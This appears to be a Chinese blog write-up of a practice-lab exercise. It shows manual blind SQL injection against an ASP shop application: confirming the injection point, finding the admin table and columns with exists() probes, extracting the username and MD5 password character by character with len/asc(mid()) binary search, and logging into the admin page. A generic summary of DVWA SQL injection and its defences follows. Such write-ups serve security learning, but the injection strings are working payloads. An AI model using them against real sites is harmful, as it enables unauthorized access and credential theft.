shop靶机实践sql盲注获取后台管理员账号密码

shop靶机盲注获取后台管理员账号密码

 

找到注入点。

注入点:http://192.168.244.131:60785/shop/productshopxp.asp?id=485

首先分析一下为什么确定这是一个注入点:

一、 正常页面如下:

二、 在URL后加’即http://192.168.244.131:60785/shop/productshopxp.asp?id=485’页面报错

三、 在URL后加and1=1即http://192.168.244.131:60785/shop/productshopxp.asp?id=485and 1=1 页面无变化

四、 在URL后加and1=2即http://192.168.244.131:60785/shop/productshopxp.asp?id=485and 1=2页面报错

  由以上几点可以得知,我们提交的一些数据或者命令被数据库执行,可以确定这就是一个注入点。

获得后台数据库中存储网站用户和密码的数据表。

从这个提交的数据我们大概可以猜测该注入为数字型的注入  sql语句大致如下:

Select  * from 表名 where id = 数字

判断是否存在某个表我们用下面的语句

and exists(select count(*) from 表名)

如果存在,则页面无变化,如果不存在,则页面返回没有此id的商品

我们先测试下admin这个表是否存在

and exists(select count(*) from admin)

 

 

发现页面无变化,则存在该表,再测一下users这个表

 

发现报错,大致可以认为该后台数据库中存储网站用户和密码的数据表,

那我们再测一下这个表中是否存在users或者user或者admin 和password这两列是否存在

and exists(select count(password)from admin)

 

and exists(select count(users)from admin)

结果发现users和user这两列都不对

再试试admin

and exists(select count(admin)from admin)

发现admin这一列存在,则可以确定如下:

存储账号和密码的表为admin

逐位猜解出用户名和密码(只需写出猜解前两位的过程)。

猜解用户名和密码时,我们需要一位一位的猜解,首先是要获取某一行的用户名和密码的长度,用法如下:

and (select top 1 len(admin) fromadmin)>一个数字

这里用二分法确定其长度和每一位字段的ascll值,

and (select top 1 len(admin) fromadmin)>7

发现报错

and (select top 1 len(admin) fromadmin)>4

页面正常

and (select top 1 len(admin) fromadmin)>5

页面报错,则admin表中用户名这一列第一行用户名长度为5

下面开始猜解每一位的ascll值

and (select top 1 asc(mid(admin,1,1))from admin)>97

这里top 1代表第一行   (admin,1,1)中第一个1为第一位,第二个1代表偏移几位,

页面报错

 

and (select top 1 asc(mid(admin,1,1))from admin)>50

页面正常

通过这样的方式确定admin第一行第一个字母ascll值为97 对照一下得a

下面猜测第二位

and (select top 1 asc(mid(admin,2,1))from admin)>99

 

 

页面正常

 

and (select top 1 asc(mid(admin,2,1))from admin)>100

 

页面报错 则第二位ascll值为100  是d

循环这样的方式最后得admin第一行为admin,password为MD5加密后的密码  解密后为admin

用获得的用户名和密码验证是否能登陆。

找到管理页面,

http://192.168.244.131:60785/shop/admin/login.asp

 

 

管理登录成功!

 

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DVWA靶机中的SQL入是一种安全漏洞,攻击者可以通过构造恶意的SQL语句来绕过应用程序的验证和过滤机制,从而获取未授权的访问权限或者获取敏感信息。根据引用[1]和引用[2]中提到的内容,DVWA靶机中的SQL入分为不同的安全级别,包括Low、Medium、High和Blind入。 在Low级别的SQL入中,攻击者可以通过在输入框中输入特定的SQL语句来绕过应用程序的验证,从而执行恶意操作。在Medium级别的SQL入中,应用程序对输入进行了一定的过滤,但仍存在一些漏洞可以被攻击者利用。在High级别的SQL入中,应用程序对输入进行了更严格的过滤,但仍然存在一些漏洞可以被攻击者利用。 在Blind入中,攻击者无法直接获取入结果,但可以通过构造特定的SQL语句来判断条件是否成立,从而获取敏感信息。Blind入可以分为不同的级别,包括Low、Medium和High级别。 为了进行SQL入攻击,攻击者可以使用手工方法或者工具如sqlmap。手工方法需要攻击者具备一定的SQL入知识和技巧,而工具如sqlmap可以自动化执行入攻击,提高攻击效率。 为了防御SQL入攻击,开发人员应该对用户输入进行严格的验证和过滤,使用参数化查询或预编译语句来防止SQL入攻击。此外,还可以限制数据库用户的权限,避免敏感信息的泄露。 根据引用[3]中的结论,可以通过使用sqlmap工具来获取DVWA靶机中的数据库名和表名。具体的命令可以参考引用[3]中提供的示例。 总之,DVWA靶机中的SQL入是一种常见的安全漏洞,攻击者可以通过构造恶意的SQL语句来绕过应用程序的验证和过滤机制,获取未授权的访问权限或者敏感信息。开发人员应该采取相应的防御措施来保护应用程序的安全。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值